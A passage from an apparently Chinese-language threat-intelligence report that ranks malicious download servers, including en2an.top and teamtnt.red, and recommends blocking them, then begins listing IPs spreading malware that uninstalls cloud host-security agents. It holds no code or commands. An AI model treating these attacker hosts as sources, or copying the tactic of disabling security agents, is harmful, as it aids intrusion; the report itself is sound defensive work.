153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">17</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">29,552</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><span class="SpellE"><strong><span lang="EN-US">crypto.htxreceive.top</span></strong></span><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:
宋体"><o:p></o:p></span></strong></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">289</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">81</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">5</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">371,934</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">en2an.top</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">232</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">1</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">1</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3,028</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">194.145.227.21</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">195</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">2</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">1</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">455</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">104.192.82.138</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">145</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">30</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">4</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8,533</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><span class="SpellE"><strong><span lang="EN-US">teamtnt.red</span></strong></span><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:
宋体"><o:p></o:p></span></strong></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">104</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">694</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>en2an.top、teamtnt.red和104.192.82.138是11月新进入前10的下载服务器。其中en2an.top注册于2021年11月27日，是11月新注册的域名，目前关于该域名的IOC信息比较少，容易被忽略，建议相关单位及时关注和屏蔽该域名。</p><h3 id="--1">卸载云主机安全产品</h3><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-5.png" class="kg-image" alt loading="lazy"></figure><p>由于目前我们只筛选了卸载阿里云安骑士的行为，还没有筛选出卸载国外云厂商的主机安全产品的行为，所以攻击源主要来自国内云厂商IP。下面是传播具有卸载云主机安全产品行为的恶意软件最多的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:417.95pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:9.6pt">
<td width="141" nowrap="" valign="top" style="width:106.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></strong><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="180" nowrap="" valign="top" style="width:134.65pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><span class="GramE"><strong><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">云服务</span></strong></span><strong><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">商</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="top" style="width:92.15pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">恶意软件家族</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="113" nowrap="" valign="top" style="width:3.0cm;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">传播次数</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:9.6pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><strong><span lang="EN-US">52.131.241.237<o:p></o:p></span></strong></p>
</div>
</td>
<td width="180" nowrap="" style="width:134.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman"">微软</span><span lang="EN-US">Azure</span></p>
</div>
</td>
<td width="123" nowrap="" style="width:92.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
